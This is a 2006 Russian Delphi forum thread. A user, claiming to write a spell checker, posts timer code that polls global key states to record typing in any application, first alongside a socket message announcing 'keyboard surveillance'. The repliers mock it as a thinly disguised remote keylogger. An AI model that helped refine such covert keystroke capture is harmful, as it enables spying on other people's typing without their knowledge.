Помогите разобраться с текстом!!!

← →
Новочеркасский Волк © (2006-03-16 15:20) [0]

Здравствуйте. Я пытаюсь написать программа которая проверяет текст на орфографию. И использую вот такой код, чтоб когда пользователь набирал где нибудь текст, то он автоматически отображался в Memo1.
procedure TForm1.Timer2Timer(Sender: TObject); var a: word; begin ServerSocket1.Socket.SendText("Слежка за клавиатурой вулючена"); a:=GetKeyState(Ord("Q")); if (a and 32768)=32768 then begin Memo1.Text:=(Memo1.Text+"й"); end; ------------------------- И так для всех остальных клавиш (мне не в напряг) -------------------------
На таймере стоит интервал:=18 И всё отлично если пользователь довольно быстро набирает текст, но а если нет то получаеться нечто подобное например слово текст выглядит как "тттееккксст". Подскажите как мне избежать этого???
---------------------------------
Заранее всем спасибо!!!

← →
Сергей М. © (2006-03-16 15:51) [1]

Ты обалдел что ли ?

Каждые 18 миллисекунд грузить сеть отправкой идиотскогго сообщения, что, мол, какая-то там твоя "слежка ..вулючена" ?

Головой-то подумай ..

И причем здесь, кстати. какая-то там "орфография" ? Она ГДЕ в твоем коде фигурирует ? Ткни меня носом, бестолочь эдакую, в то самое место в твоем коде ..

← →
Pavia © (2006-03-16 16:05) [2]

OnKeyPress
OnKeyDown
OnKeyUP

← →
Гаврила © (2006-03-16 16:46) [3]

> Сергей М. ©

> И причем здесь, кстати. какая-то там "орфография" ?
> Она ГДЕ в твоем коде фигурирует ?

Вот тут:
вулючена");

← →
Boris Marchenko © (2006-03-16 17:02) [4]

Весело ))

← →
Virgo_Style © (2006-03-16 18:34) [5]

угу, угу. Удаленная слежка за клавиатурой, ой, то есть орфографией. Забавненько)))

← →
Жуков Олег (2006-03-16 20:35) [6]

http://delphimaster.net/view/15-1142449191/

← →
Новочеркасский Волк © (2006-03-17 14:23) [7]

Я перепутал там нет этого следить за клавиатурой. Код выглядет вот так:
procedure TForm1.Timer2Timer(Sender: TObject); var a: word; begin a:=GetKeyState(Ord("Q")); if (a and 32768)=32768 then begin Memo1.Text:=(Memo1.Text+"й"); end;
И весь текст отсылается на форму в Memo1, где и происходит проверка на орфографию. Я этот код не писал сюда. Там всё работает. И кстати OnKeyPress OnKeyDown OnKeyUP работают только когда форма активна. А у в данном случае может быть активен текстовый редактор да и всё что угодно. Да и вопрос то не в том.

← →
msguns © (2006-03-17 14:36) [8]

чуть не уписался читая ;)))

Чё смешного???? То?!

> Новочеркасский Волк © (17.03.06 16:29) [9]
> Чё смешного???? То?!
> <Цитата>

Да то и смешно)..

> вопрос то не в том

Твоя фраза ?

Ну дак а какого ж тогда хрена ты приводишь фрагмент текста программы, НЕ относящейся к "вопросу" ?

> Новоркассий страшный зверь

Как же тут не уписаться при том при всём ?) ... Головой-то подумай ?..

Помогите разобраться с текстом!!! Найти похожие ветки